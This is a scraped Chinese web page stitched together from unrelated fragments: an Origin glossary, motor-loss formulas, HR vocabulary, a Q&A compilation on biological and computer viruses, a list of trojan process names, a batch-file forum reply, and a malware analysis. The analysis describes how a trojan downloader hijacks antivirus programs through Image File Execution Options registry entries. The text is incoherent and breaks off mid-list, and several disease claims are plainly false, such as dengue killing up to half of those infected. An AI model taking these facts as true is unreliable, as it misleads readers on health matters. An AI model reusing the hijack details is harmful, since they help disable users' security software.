Value F值covariance 协方差correlation 相关性Independent Variable 自变量Studentized Residual 学生化残差Standardized Residual 标准残差Regular Residual 常规残差Studentized Deleted Residual 学生化剔除残差Origin Basic Functions ：Origin基本函数Implicit 隐式的（函数）Ellipse 椭圆PlaneMod 平面模Exponential 指数（函数）Asymptotic 渐近线的Growth/Sigmoidal增长/反曲线函数Hyperbola 双曲线函数Logarithm 对数函数Peak Functions 峰值函数Piecewise 分段函数Polynomial 多项式函数Power 幂函数Rational 有理函数Waveform 波形函数Surface Fitting 曲面拟合（函数）PFW 峰值流量啸音Baseline 基线Chromatography 色谱学（相关函数）Electrophysiology 电生理学Pharmacology 药理学Spectroscopy 光谱学Statistics 统计学观现象之间存在的互相依存关系叫相关关系，全称为统计相关关系。有如下两个特点：1.现象之间确实存在着数量上的依存关系。2.现象之间数量上的关系是不确定、不严格的依存关系。相关系数的绝对值在0.3以下是无直线相关，0.3以上是直线相关，0.3-0.5是低度相关，0.5-0.8是显著相关（中等程度相关），0.8以上是高度相关。Multiple Variables 多变量（函数）

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电动机实际输出功率为输入功率P1减去损耗。损耗包括铁耗PFe、风摩耗Pfw、定子铜耗Pcu1、转子铜耗Pcu2、负载杂散耗Ps。Ps=0.005P1。0.005不是准确值，不同电机会有不同，只是大概的范围。PFe与电压成正比，相同电压时，频率越高，PFe越大。没有固定公式，一般只能试验获取。Pfw也没有计算公式，只能由试验获取，但是，频率越高，转速越高时，Pfw越大。Pcu1=1.5I^2R，R为定子绕组当前直流电阻。Pcu2=（P1-PFe-Pcu1）*s，s为转差率。

HRD人力资源总监、HRM人力资源经理完整的HR部门包括： 员工关系（ER） 薪资福利（C&B） 培训(Training) 招聘(recruitting) 行政与沟通(Admin & Communication) 安全（包括公司保安系统，医疗，公司生产安全， 统称Safety） 　　常用到的英文：一、人力资源管理:(Human Resource Management ,HRM)人力资源经理:( human resource manager)高级管理人员:(executive) 职业:(profession) 道德标准:(ethics) 操作工:(operative employees)专家:(specialist)人力资源认证协会:(the Human Resource Certification Institute,HRCI)二、外部环境:(external environment)内部环境:(internal environment)政策:(policy)企业文化:(corporate culture)目标:(mission)股东:(shareholders)非正式组织:(informal organization)跨国公司:(multinational corporation,MNC)管理多样性:(managing diversity)三、工作:(job)职位:(posting)工作分析:(job analysis)工作说明:(job description)工作规范:(job specification)工作分析计划表:(job analysis schedule,JAS)职位分析问卷调查法:(Management Position Description Questionnaire,MPDQ)行政秘书:(executive secretary)地区服务经理助理:(assistant district service manager)四、人力资源计划:(Human Resource Planning,HRP)战略规划:(strategic planning)长期趋势:(long term trend)要求预测:(requirement forecast)供给预测:(availability forecast)管理人力储备:(management inventory)裁减:(downsizing)人力资源信息系统:(Human Resource Information System,HRIS)五、招聘:(recruitment)员工申请表:(employee requisition)招聘方法:(recruitment methods)内部提升:(Promotion From Within ,PFW)工作公告:(job posting)广告:(advertising)职业介绍所:(employment agency)特殊事件:(special events)实习:(internship)六、选择:(selection)选择率:(selection rate)简历:(resume)标准化:(standardization)有效性:(validity)客观性:(objectivity)规范:(norm)录用分数线:(cutoff score) 准确度:(aiming)业务知识测试:(job knowledge tests)求职面试:(employment interview)非结构化面试:(unstructured interview)结构化面试:(structured interview)小组面试:(group interview)职业兴趣测试:(vocational interest tests)会议型面试:(board interview)七、组织变化与人力资源开发人力资源开发:(Human Resource Development,HRD)培训:(training)开发:(development)定位:(orientation)训练:(coaching)辅导:(mentoring)经营管理策略:(business games)案例研究:(case study)会议方法:(conference method)角色扮演:(role playing)工作轮换:(job rotating)在职培训:(on-the-job training ,OJT)媒介:(media)八、企业文化与组织发展企业文化:(corporate culture)组织发展:(organization development,OD)调查反馈:(survey feedback)质量圈:(quality circles)目标管理:(management by objective,MBO)全面质量管理:(Total Quality Management,TQM)团队建设:(team building)九、职业计划与发展职业:(career)职业计划:(career planning)职业道路:(career path)职业发展:(career development)自我评价:(self-assessment)职业动机:(career anchors)十、绩效评价绩效评价:(Performance Appraisal,PA)小组评价:(group appraisal)业绩评定表:(rating scales method)关键事件法:(critical incident method)排列法:(ranking method)平行比较法:(paired comparison)硬性分布法:(forced distribution method)晕圈错误:(halo error)宽松:(leniency)严格:(strictness)3600反馈:(360-degree feedback)叙述法:(essay method)集中趋势:(central tendency)十一、报酬与福利报酬:(compensation)直接经济报酬:(direct financial compensation)间接经济报酬:(indirect financial compensation)非经济报酬:(no financial compensation)公平:(equity)外部公平:(external equity)内部公平:(internal equity)员工公平:(employee equity)小组公平:(team equity)工资水平领先者:(pay leaders)现行工资率:(going rate)工资水平居后者:(pay followers)劳动力市场:(labor market)工作评价:(job evaluation)排列法:(ranking method)分类法:(classification method)因素比较法:(factor comparison method)评分法:(point method)海氏指示图表个人能力分析法:(Hay Guide Chart-profile Method)工作定价:(job pricing)工资等级:(pay grade)工资曲线:(wage curve)工资幅度:(pay range)十二、福利和其它报酬问题福利(间接经济补偿)员工股权计划:(employee stock ownership plan,ESOP)值班津贴:(shift differential)奖金:(incentive compensation)分红制:(profit sharing)十三、安全与健康的工作环境安全:(safety)健康:(health)频率:(frequency rate)紧张:(stress)角色冲突:(role conflict)催眠法:(hypnosis)酗酒:(alcoholism)十四、员工和劳动关系工会:(union)地方工会:(local union)行业工会:(craft union)产业工会:(industrial union)全国工会:(national union)谈判组:(bargaining union)劳资谈判:(collective bargaining)仲裁:(arbitration)罢工:(strike)内部员工关系:(internal employee relations)纪律:(discipline)纪律处分:(disciplinary action)申诉:(grievance)降职:(demotion)调动:(transfer)晋升:(promotion)

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问题一：全世界的五大病毒个有哪几种 一、霍乱 定义：霍乱是由霍乱弧菌引起的急性肠道传染病，通常经水、食物、生活接触和苍蝇等传播，它发病急、传播快、波及面广、危害严重。经水传播是霍乱最主要的传播途径，历次较广泛的流行或暴发多与水质被污染有关。重症霍乱病人的主要临床表现为剧烈腹泻、呕吐、脱水、循环衰竭及代谢性酸中毒等。如抢救不及时或不得当，可于发病后数小时至十多个小时内死亡，成人和孩童都不能避免。 暴发地：世界卫生组织称，霍乱对全人类具有永久性的威胁，并且威胁在不断增大。近几十年来，霍乱主要在非洲的许多地方、南亚以及拉美的一些地方暴发。 现有的霍乱疫苗只对部分人有效，并且由于疫苗有毒副作用，一些国家禁止使用。但霍乱并不算最可怕的传染病，目前全球每年新增大约30万起霍乱病例，病死率仅1%。霍乱较容易防治，只要不饮污水、不吃生冷不洁食物就不会感染。 近期暴发记录：据历史记载，霍乱共有7次大流行。在1817年至1923年的百余年间，霍乱共暴发6次，每次都造成了难以估计的损失，死亡人数也超过数千万。 第七次霍乱大流行发生在1961年，源于印度尼西亚，然后传到亚洲其他国家和欧洲，1970年进入非洲，百年不见霍乱踪影的非洲从此深受其害。1991年霍乱袭扰拉丁美洲，一年内就造成40万病例和4000人死亡，仅秘鲁的经济损失就达7.7亿美元。 1994年卢旺达内战造成百万难民缺衣少食，霍乱也开始流行。据统计，战后一个月逃难到邻国的卢旺达难民感染霍乱的人数约为5万，平均每两分钟就有一名患者死亡。 最近的一次霍乱大暴发是在津巴布韦。据世界卫生组织近期的一份报告显示，津巴布韦自2008年8月暴发霍乱疫情以来，感染人数已经超过9.6万，其中超过4200人死亡。这是非洲近15年来最严重的一次霍乱疫情，不仅导致津巴布韦大量民众感染或死亡，还波及到周边一些非洲国家。 二、脑膜炎 定义：脑膜炎是脊髓液和大脑周围液体受到细菌感染而诱发的疾病。这类细菌对抗生素较为敏丨感，早期发现和治疗可以痊愈。脑膜炎的主要症状是发热、剧烈头痛和颈部僵硬等，如不及时治疗，患者可能会失去意识甚至死亡。 暴发地：非洲撒哈拉沙漠以南地区是脑膜炎的频发地区。据世界卫生组织介绍，非洲东起埃塞俄比亚，西至塞内加尔的21个国家是脑膜炎高发地区。 近期暴发记录：自2009年1月以来，非洲的尼日尔、尼日利亚和乍得3国共有超过2000人死于脑膜炎。目前仅这3个国家就确诊了5.6万名脑膜炎病人。 今年，尼日利亚的脑膜炎疫情比原先估计的要严重得多。尼日利亚卫生部的统计数据表明，在过去的两个月里，尼日利亚脑膜炎病例数量增加了8倍，达到47902例，而死亡人数也从卫生部今年3月初宣布的300余人增加到2000余人。 目前，无国界医生组织正在致力于一场大规模的脑膜炎疫苗接种行动，以帮助非洲国家对抗今年已经夺取2000多条生命的病魔。无国界医生组织表示，他们已经救治了540万民众，并计划为170万人接种疫苗，这将是该组织展开的最大规模疫苗接种计划。 三、艾滋病 定义：艾滋病，英语缩写AIDS的音译，是人体感染了“人类免疫缺陷病毒”(HIV)又称艾滋病病毒所导致的传染病。艾滋病病毒 HIV是一种能攻击人体内脏系统的病毒。HIV本身并不会引发任何疾病，而是当免疫系统被HIV破坏后，人体由于抵抗能力过低，丧失复制免疫细胞的能力，从而感染其他的疾病导致各种复合感染而死亡。 暴发地：1981年6月5日，美国亚特兰大疾病控制中心在《发病率与死亡率周刊》上简要介绍了5例艾滋病病人的病史，这是世界上......>> 问题二：世界上有几种病毒！ 猎者病毒 pfw.exe → 瑞波变种PX Runouce.exe→中国黑客病毒 Svchost.exe (线程105) → 蓝色代码 Scanrew.exe → 传奇终结者 Sysedit32.exe → SCKISS爱情森林 Scvhost.exe → 安哥病毒 Sy***plor.exe → wCrat Server 1. 2.exe→Spirit 2000 1.2fixed Sy***plr.exe → 冰河 Intel.exe → 传奇叛逆 Syshelp.exe → 恶邮差病毒 Internet.exe → 传奇幽灵 Sysprot.exe → Satans Back Door Internet.exe → 网络神偷 Sysrunt.exe → Ripper Kernel16.exe → Tran *** ission Scount System.exe → s**tHeap Kernel32.exe → 坏透了或冰河 System32.exe → DeepThroat 1.0 Kiss.exe → 传奇天使 Systray.exe → DeepThroat 2.0-3.1 Krn132.exe → 求职信病毒 Syswindow.exe → Trojan Cow Libupdate.exe → BioNet Task_Bar.exe → WebEx Load.exe → 尼姆达病毒 Taskbar → 密码病毒 Frethem Lockdown2000.exe → 将死者病毒 Taskmon.exe → 诺维格蠕虫病毒 问题三：地球上到底有多少种病毒 在二十年前，斯蒂芬u30fb莫尔斯（Stephen Morse）假设在5万种脊椎动物中，每种动物会携带大约20种不同的病毒，根据这个假设，他推断大约共有100万种脊椎动物病毒。最新研究（参见mbio.a *** /content/4/5/e00598-13）表明，至少有32万种感染哺乳动物的病毒。 为了研究在哺乳动物中病毒的多样性，收集了来自印度飞狐（狐蝠属）的尿液、粪便、喉部拭子、鸟窝尿液的1,897份样本，通过聚合酶链反应（PCR）分析了病毒序列。之所以选择这种蝙蝠进行研究，是因为已知它是引起 *** 共患病的尼帕（Nipah）病毒的宿主。用PCR检测来自9个不同病毒科的病毒，最终获得了7个病毒科中的985个病毒序列。其中包括11种副黏病毒(包括尼帕病毒和10种新病毒)、14种腺病毒（13种新型病毒）、8种新型星状病毒、4种不同的冠状病毒、3种新型的多瘤病毒、2种博卡病毒和一些新型疱疹病毒。 接下来用统计学方法进行评估，印度狐蝠可能是58种不同病毒的宿主，这其中已被确认的病毒有55种。如果在已知的5,486种哺乳动物中，每种动物携带58种病毒，将会大约有32万种可感染哺乳动物的未知病毒存在。这个结果是仅以9种病毒科进行研究的保守估计值。此外，PCR方法所检测到的病毒只能是与我们已知的病毒类似，进一步进行更准确的DNA测序,可能会有更多的发现。 让我们把之前的分析扩展到额外的物种上――尽管这样做可能是不正确的――若我们假设已知的62,305种脊椎动物每种携带58种病毒，那么，未知病毒的数量将上升至3,613,690――比莫尔斯博士所估计数量（100万种）的三倍还多。如果考虑脊椎动物、无脊椎动物、植物、苔藓、蘑菇和褐藻目前已知总共有1,740,330个物种（大约174万），病毒种类会上升至100,939,140（即大于1亿），这个数量中还不包括细菌、古生菌和其他单细胞生物中的病毒。如果再考虑到有1031种病毒粒子（主要是噬菌体）存在于海洋中，其数量还会大幅度提高。 根据研究狐蝠属病毒的花费（120万美元），要想发现所有哺乳动物（5千多种）的病毒，将需要64亿美元，或者花费14亿美元来发现其中的85%。花这么多的钱是值得的，因为所获得的信息将促进对病毒多样性、起源和进化进行史无前例的研究。这些花费纯粹是为了人类健康，这些花费只相当于很多 *** 共患疾病大流行所造成损失的一小部分。然而，现在还不确定是不是了解了所有可能感染人类的病毒就能增强我们预防疾病的能力。“此项目本身不会预防新的 *** 共患病病毒的出现”。我们知道狐蝠携带尼帕病毒已经有一段时间了，但每年该流行病的暴发仍持续发生。显然，这样的信息在应对 *** 共患病暴发中是有用的，但目前还无法想象在了解了地球上的所有病毒后，这些研究结果会以何种方式对人类健康产生影响。 补充说明：该项研究中有一个简化的假设：在蝙蝠中能获得相应PCR产物即表明该病毒已在该动物体内进行复制。 而在讨论冠状病毒 MERS-CoV时，证明一种病毒在已知的宿主中存在，需要分离出感染性病毒；如果得不到感染性病毒，则需要从多个宿主中分离得到病毒全基因组序列，并检测到抗病毒的抗体。显然这些方法不能用于上述旨在估计未知病毒数量的研究。 问题四：当前世界上有三大超级病毒各是什么。。。 埃博拉病毒 Ebola “埃博拉”是扎伊尔北部的一条河流的名字。1976年，有一种不知名的病毒光顾扎伊尔，疯狂地虐杀“埃博拉”河沿岸55条村庄的百姓，致使数百生灵涂炭，有的家庭甚至无一幸免。“埃博拉”病毒也因此而得名， 2000年，埃博拉病毒肆虐乌干达，一时横尸遍野。当地 *** 将埃博拉病毒肆虐最严重的地区宣布为完全隔离区，动用军队严禁任何居住生活在该地区的人擅自离开，身着防护服的军人全面封锁了三个地区，拉起了一道道的铁丝网，封死了所有进出该地区的道路，经历真实的一级戒备。 一位病毒专家在看过埃博拉出血热患者发病至死亡后描述下列景象：病人体内外都不停的大出血，同时皮肤和肌肉的表面隔膜开始炸裂，由于体内的器官开始坏死、分解，而且患者也不断地从口中吐出坏死组织，我就像在看着一个人像冰淇淋似的慢慢地在我眼前溶化，直到全身崩溃而死，他们所住的病房中到处都是血，床上的被子、地板、墙壁上喷得到处都是，相当相当可怕。 就像理查德u30fb雷斯顿在他的《热带》一书中指出：或许它为自己的利益太操之过急了，埃博拉在10天里就做完了艾滋病10年才做完的事情。 拉沙病毒 Lassa 拉沙病毒跟埃博拉一样是个残酷的杀手。它第一次引起关注是在1969年，当时，一位美国护士在尼日利亚的一所教会医院染上此病。科学家们再一次为了一种病毒的源头或者说天然宿主展开搜索。研究人员在拉沙热流行的村庄内部和外围捕捉了640只动物：家鼠、田鼠、蝙蝠……它们的血液被收集起来，肺、心、脾、肾被摘除下来，用液氮保存着运到了CDC（美国疾病控制中心）。检验结果出来了，有一种动物的血液呈阳性，它是西非一种常见的棕鼠。当一位研究人员手捏一只棕鼠时，愤怒的小东西在研究人员手上撒了一泡尿，两星期后这位科学工作者死于拉沙热.现在，拉沙热是西非的一种地方性出血热，每年造成大约5000人死亡。 天花病毒 Variola 3000年前人类就有了天花这种急性传染病，16世纪初，欧洲殖民者把它带到了美洲大陆。17、18世纪天花在西半球肆虐，一些历史统计认为，天花曾至少造成1亿人死亡，另外2亿人失明或留下终生疤痕。天花表现为高烧、浑身乏力、恶心呕吐和严重皮疹，无药可治。对天花瘟疫造成的可怕结果，一个目睹西班牙殖民者征服阿兹特克帝国（位于墨西哥）过程的传教士描述：“在一些地方满门皆绝。死者太多，以至无法全部掩埋；而臭气漫天，只好推倒死者房屋以作坟墓。”在16世纪初，人口2500万、创造印第安民族辉煌文明之一的阿兹特克帝国没有被不足千人的西班牙军队击败，却在天花流行过后消失了。 1796年，英国乡村医生爱德华u30fb詹纳发现天花疫苗: 他成功地给一个8岁的男孩注射了牛痘，此后这个男孩再没有患过天花。1980年，世界卫生组织宣布天花彻底消灭，天花也成了最早被人类彻底消灭的病毒。天花病毒样本封存在美国和苏联的绝密实验室保留的几个试管里。 世界卫生组织担心天花可能会再次出现: 目前全世界的人，都已不再具备天花病毒免疫能力，而 *** 正在设法搞到这种病毒，制造一场人间灾难。 马尔堡病毒 Marburg 这是又一种致命性病毒。马尔堡病毒与埃博拉病毒同属丝状病毒，其症状也与埃博拉很相似：突然高烧、头痛，大量出汗，肌肉酸痛。最初的症状很像流感，从发病的第五天开始，胸部、背部和腹部出现斑状丘疹，伴之恶心、呕吐、腹泻、腹痛；症状会随着时间变得越来越严重，出现黄疸、胰腺炎、体重大幅度减轻、神志不清、休克，直至全身多处器官衰竭，最后出现口鼻出血、尿血、**出血和消化道出血。通常而言，在5至10天潜伏期后发病，多数患者将会在一周之内死亡。 炭疽 Anthrax 时......>> 问题五：世界十大病毒有哪些？ 梅丽莎病毒 1998年春天，大卫?L?史密斯（David L. Smith）运用Word软件里的宏运算编写了一个电脑病毒，这种病毒可以通过邮件进行传播。史密斯把它命名为梅丽莎（Melissa），佛罗里达州的一位 *** 的名字。梅丽莎病毒一般通过邮件传播，邮件的标题通常为“这是给你的资料，不要让任何人看见”。一旦收件人打开邮件，病毒就会自动向用户通讯录的前50位好友复制发送同样的邮件。 史密斯把它放在网络上之后，这种病毒开始迅速传播。美国联邦调查局给国会的报告显示，梅丽莎对 *** 部分和私营部门的网络造成了毁灭性打击，美国联邦 *** 很重视这件事。电子邮件流量的剧增迫使很多公司停止了邮件服务，直到病毒得到控制才重新开放。 经过漫长的审判，史密斯被叛20个月的监禁，同时被处5000美元罚款。另外，未经法庭允许，史密斯不得擅自使用网络。梅丽莎虽然没有对社会造成很大的危害，但它是第一个引起全社会关注的电脑病毒。 爱虫病毒 梅丽莎病毒爆发一年后，菲律宾出现了一种新的病毒。与梅丽莎不同的是，这次出现的是蠕虫病毒，具有自我复制功能的独立程序。这个病毒的名字叫“我爱你（ILOVEYOU）”。 和梅丽莎相似，爱虫病毒最初也是通过邮件传播。标题通常会说明，这是一封来自您的崇拜者的表白信。邮件中的附件则是罪魁祸首。这种蠕虫病毒最初的文件名为LOVE-LETTER-FOR-YOU.TXT.vbs。后缀名vbS表明黑客是使用VB脚本编写的这段程序。 根据杀毒厂商McAfee的报告显示，爱虫病毒具有以下攻击手段： ◆它会自我复制，在硬盘的各个分区都有隐藏备份。 ◆它会在用户的注册表里面添加新内容。 ◆自我复制，然后自动替换某些文件。 ◆通过邮件以及聊天客户端进行传播。 ◆自动下载一个名为WIN-BUGSFIX.EXE的补丁，这个补丁会窃取用户私密信息并发送给黑客。 到底是谁制造了这种病毒？很多人怀疑是菲律宾的奥尼尔?狄?古兹曼。由于当时菲律宾没有制定电脑破坏的相关法律，当局只得以盗窃罪的名义传讯了狄?古兹曼。古兹曼没有承认或者否认关于病毒的指控，最终由于缺乏确凿的证据，当局被迫释放了古兹曼。根据媒体估计，爱虫病毒造成大约100亿美元的损失。 求职信病毒 求职信病毒(Klez)病毒传播的里程碑。这种病毒最早出现于2001年，几个月后出现了很多变种。最常见的求职信病毒通过邮件进行传播，然后自我复制，同时向受害者通讯录里的联系人发送同样的邮件。 一些变种求职信病毒甚至会对电脑产生致命性破坏。根据版本不同，求职信病毒可以分为普通病毒，蠕虫或者木马。有些甚至会强行关闭杀毒软件或者伪装成病毒清除工具。 求职信病毒在网络上出现不久，黑客们就对它进行了改进，使它传染性更强。与很多病毒一样，求职信病毒也会使用受害者的通讯录向联系人发送同样的邮件。另外，它还能从中毒者的通讯录里随机抽选一个人，将该邮件地址填入发信人的位置。这就是邮件地址欺骗――看起来邮件是您的某个熟人寄来的，实际上却是其他人发的。 伪装邮件地址是为了达到以下几个目的。首先，收信人就算阻止了发件人也没用，因为邮件是其他人发来的。其次，由于用户无法辨别邮件是否是垃圾邮件，求职信病毒会在短时间内造成收信人邮箱堵塞。另外，由于发信人是邮件列表中的联系人，所以很多人都会打开邮件而导致中毒。 红色代码和红色代码Ⅱ代 红色代码（Code Red）和红色代码Ⅱ出现于2001年的夏天。这两种蠕虫病毒都利用了在Windows 2000和Windows NT中存在的一个操作系统漏洞，即缓冲区溢出漏洞，当系统缓存器接收到超过它处理范围的数据时，数据......>> 问题六：世界上有多少种电脑病毒 史上破坏力最强十大计算机病毒排名计算机病毒,破坏力,排名随着网络在现代生活中的重要性越来越突出，曾经被人们一手掌控的计算机病毒也逐渐从温驯的小猫成长为噬人的猛虎。从1986年，“Brain”病毒通过5.25英寸软盘首次大规模感染计算机起，人们与计算机病毒的斗争就从未停止过。如今，整整20年过去了，这场持久的拉锯战却似乎只是开了个头。美国《Techweb》网站日前评出了20年来，破坏力最大的10种计算机病毒：1.CIH(1998年)该计算机病毒属于W32家族，感染Windows95/98中以EXE为后缀的可行性文件。它具有极大的破坏性，可以重写BIOS使之无用(只要计算机的微处理器是PentiumIntel430TX)，其后果是使用户的计算机无法启动，唯一的解决方法是替换系统原有的芯片（chip），该计算机病毒于4月26日发作，它还会破坏计算机硬盘中的所以信息。该计算机病毒不会影响MS/DOS、Windows3.x和WindowsNT操作系统。CIH可利用所有可能的途径进行传播：软盘、CD-ROM、Internet、FTP下载、电子邮件等。被公认为是有史以来最危险、破坏力最强的计算机病毒之一。1998年6月爆发于中国台湾，在全球范围内造成了2000万-8000万美元的损失。2.梅利莎（Melissa,1999年）这个病毒专门针对微软的电子邮件服务器和电子邮件收发软件，它隐藏在一个Word97格式的文件里，以附件的方式通过电子邮件传播，善于侵袭装有Word97或Word2000的计算机。它可以攻击Word97的注册器并修改其预防宏病毒的安全设置，使它感染的文件所具有的宏病毒预警功能丧失作用。在发现Melissa病毒后短短的数小时内，该病毒即通过因特网在全球传染数百万台计算机和数万台服务器，因特网在许多地方瘫痪。1999年3月26日爆发，感染了15%-20%的商业PC，给全球带来了3亿-6亿美元的损失。3.Iloveyou(2000年)2000年5月3日爆发于中国香港，是一个用VBScript编写，可通过E-Mail散布的病毒，而受感染的电脑平台以Win95/98/2000为主。给全球带来100亿-150亿美元的损失。4.红色代码(CodeRed，2001年)该病毒能够迅速传播，并造成大范围的访问速度下降甚至阻断。这种病毒一般首先攻击计算机网络的服务器，遭到攻击的服务器会按照病毒的指令向 *** 网站发送大量数据，最终导致网站瘫痪。其造成的破坏主要是涂改网页，有迹象表明，这种蠕虫有修改文件的能力。2001年7月13日爆发，给全球带来26亿美元损失。5.SQLSlammer(2003年)该病毒利用SQLSERVER2000的解析端口1434的缓冲区溢出漏洞对其服务进行攻击。2003年1月25日爆发，全球共有50万台服务器被攻击，但造成但经济损失较小。6.冲击波（Blaster，2003年)　　该病毒运行时会不停地利用IP扫描技术寻找网络上系统为Win2K或XP的计算机，找到后就利用DRPC缓冲区漏洞攻击该系统，一旦攻击成功，病毒体将会被传送到对方计算机中进行感染，使系统操作异常、不停重启、甚至导致系统崩溃。另外，该病毒还会对微软的一个升级网站进行拒绝服务攻击，导致该网站堵塞，使用户无法通过该网站升级系统。2003年夏爆发，数十万台计算机被感染，给全球造成20亿-100亿美元损失。7.大无极.F（Sobig.F，2003年)　　Sobig.f是一个利用互联网进行传播的病毒，当其程序被执行时，它会将自己以电......>> 问题七：世界上有多少种电脑病毒啊? 现在比较常见的就是：trojan：木马病毒，盗号一类的。backdoor：后门病毒，给系统安插后门以取得控制权或盗取信息类。hack：黑客病毒，利用系统漏洞、后门等，控制电脑或盗信息。worm：蠕虫病毒，相对以上来说较少的，通常传播性比较强，伴随以上其他几种可场现象。 这四种极为常见，其他的就不值一提了。 问题八：世界上有几大种病毒。最历害的。要详细。看的懂。 有6种最可怕的病毒： 1、埃博拉病毒 1976年在非洲中部出现，目前尚不知从何而来。埃博拉病毒能使人体内脏破碎，感染者每个毛孔都会往外渗血。高达90％的被感染者死亡。 2、拉沙热病毒 拉沙热是由一种沙粒病毒引起的，医生们最早在20世纪50年代注意到该病毒。一旦染上这种病毒，人的内脏会大出血，血压急剧下降，脑部受损。每7个感染者中有1人死亡。 3、马尔堡病毒 这是又一种致命性病毒。1967年，7名欧洲科学家在研究青猴的过程中死亡，马尔堡病毒成为了报纸的头条。20世纪80年代，马尔堡病再次在南非暴发，25％的感染者死亡。 4、西尼罗河病毒 这种病毒由蚊子携带，随着气候变迁，目前该病毒威胁到英国。病初起时像是得了流感，之后可能出现脑膜炎、其它脑疾病和阵发性疾病。有1／10的感染者终身无法痊愈。 5、登革热病毒 这是热带地区的一种地方病。通过蚊子叮咬传播，会出现内脏大出血。高达50％的感染者死亡。 6、马秋波病毒 一种沙粒病毒，1962年首次在玻利维亚发现，该病毒由老鼠携带。染病初期表现为发烧，然后鼻子和牙龈开始出血，胃肠内出血，30％的感染者死亡。 病毒体积小但威力大。20世纪50年代，当DNA和RNA在复制生命的基本过程中所起的作用被发现后不久，病毒引起疾病的秘密被揭示出来。一个健康细胞的细胞核中携带着遗传物质―――基因，病毒攻击的目标正是这些基因。病毒将自己的DNA注入细胞基因中，使它们复制更多的病毒。病毒侵入细胞的方式非常复杂。但一旦这些新制造出来的病毒离开宿主，它们就需要与时间赛跑。它们必须尽快找到新的宿主，否则就会灭绝。病毒是一种寄生生物，离开宿主不能独立生存。这使得它们大多数非常脆弱：即使是引起艾滋病的HIV病毒，在空气中经过数小时后就会失去活力。基本上所有的病毒都可以用家用的漂白剂杀灭。 病毒在人体内遇到的最大敌人是免疫系统。淋巴细胞（即白细胞）在人体内不断巡视，并随时消灭入侵物质。这些淋巴细胞使用的是比科学家发明的任何物质都更有效的生化物质，它们在发现了含有病毒的细胞时便会将这些细胞杀死―――这常常能使人体完全康复。因此人即使是染上了像霍乱、登革热这样的疾病，大多数也能痊愈。 免疫系统是迄今为止人类在对付病毒过程中取得的最大胜利。在遭遇病毒的大规模袭击前，有意给人体注入小剂量的病毒（接种）或是病毒的蛋白壳体（注射疫苗）可使人体免疫系统为病毒的大规模袭击做好准备。这种方法已经挽救了几百万人的生命―――并且于1980年在全球消灭了天花，这是人类首次消灭一种病毒性疾病。 但人类与病毒的斗争远未结束。病毒的遗传结构简单，这便意味着它们能迅速变异。引起普通感冒的病毒通过不断改变蛋白壳体，使人类的免疫系统每次都需要对它们进行重新确认，它们从而赢得了时间得以在人群中传播。正是这种变色龙似的天性使得人类消灭普通感冒病毒的努力一直不能成功。一些病毒还进化出一种特殊能力，它们在侵入细胞时不会引起任何症状―――因此它们能悄悄地不为宿主所知地传播。HIV病毒便是这样一种病毒，感染了这种病毒的人每50人中约有1人死亡。 一些病毒通过侵入新的物种而得以大量繁殖。流感病毒便与禽类和猪身上的病毒有关。而艾滋病被认为是狩猎引起的，因为HIV病毒被认为是生活在非洲中西部的黑猩猩所携带的SIV―CPZ病毒的一种变体。非典病毒与果子狸身上的冠......>>

我也有过，每次杀完~~又出现了日~~

1楼的测试过你写的start命令的示例代码了没？代码有误，当路径带空格时无法运行成功使用start命令同时执行多命令正确示例写法如下（将以下代码保存为.bat格式的批处理，就可以直接双击运行了）：@echo offstart "" "D:Program FilesSkyNetFirewallPFW.exe"start "" "E:Program FilesFoxmailFoxmail.exe"start F:电脑报.url

这是木马下载者的变种， 还无杀毒软件对其更新， 请尽快对你的帐好到安全的机子进行更改 请到反病毒论坛http://bbs.antidu.cn/index.php， 上报病毒进行杀毒 病毒标签 病毒名称： Trojan.Win32.KillAV.ww 病毒类型： 木马下载者 文件 MD5： 01322FD0B6AFE8497D429AFC8F1943F2 公开范围： 完全公开 危害等级： 4 文件长度： 9,728 字节 感染系统： Windows98以上版本 开发工具： Microsoft Visual C++ 6.0 加壳类型： UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo [编辑本段]病毒描述 该病毒下载者木马类，病毒运行后调用API获取系统文件夹路径，在%System32%目录下创建病毒文件adfbaa.exe（随机病毒名），并加载创建该病毒进程，遍历进程查找是否存在以下进程名：GuardField.exe、conime.exe、wuauclt.exe、spoolsv.exe；如发现存在以上进程名则调用TerminateProcess函数强行结束以上进程，调用LoadLibraryA 函数加载SFC.DLL文件。将%System32%drivers目录下的beep.sys文件删除，并创建一个同名的文件，释放驱动文件恢复SSDT使卡巴主动防御失效，衍生的adfbaa.exe判断进程是否存在AVP.exe如存在则设置系统时间为1900年，添加注册表映像劫持，劫持多款安全软件，使系统安全性降低，连接网络读取列表下载大量恶意文件到本地运行，经分析下载的文件多为盗号木马，给用户清理带来极大的不便！ [编辑本段]行为分析 本地行为： 1、文件运行后会释放以下文件： %System32%adfbaa.exe（随机病毒名） 39,979 字节 %System32%driverseep.sys 16,256 字节 %System32%driversabopx.sys 3,328 字节 2、创建注册表病毒服务： [HKEY_LOCAL_MACHINESYSTEMCurrentControlSet Services nlheDisplayName] 注册表值: "DisplayName" 类型： REG_SZ 值："nnlhe" 描述: 服务名称 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSet Services nlheErrorControl] 注册表值: "ErrorControl" 类型： REG_SZ 值："DWORD: 0 (0)" 描述: 服务控制 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSet Services nlheImagePath] 注册表值: "ImagePath" 类型： REG_SZ 值："??C:DOCUME~1aLOCALS~1Temp\_tmp.bat" 描述: 服务映像文件的启动路径 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSet Services nlheStart] 注册表值: "Start" 类型： REG_SZ 值："DWORD: 3 (0x3)" 描述: 服务的启动方式，自动 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSet Services nlheType] 注册表值: "Type" 类型： REG_SZ 值："DWORD: 1 (0x1)" 描述: 服务类型 3、通过注册表映像劫持多款安全软件： HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersion Image File Execution Options被映像劫持的文件名称] 注册表值： "Debugger" 类型： REG_SZ 字符串："ntsd -d" 劫持文件名列表： 360rpt.exe、360safe.exe、360safebox.exe、360tray.exe、 adam.exe、AgentSvr.exe、AppSvc32.exe、autoruns.exe、 avconsol.exe、avgrssvc.exe、AvMonitor.exe、avp.com、 avp.exe、CCenter.exe、ccSvcHst.exe、EGHOST.exe、 FileDsty.exe、FTCleanerShell.exe、FYFireWall.exe、 HijackThis.exe、IceSword.exe、iparmo.exe、Iparmor.exe、 isPwdSvc.exe、kabaload.exe、KaScrScn.SCR、KASMain.exe、 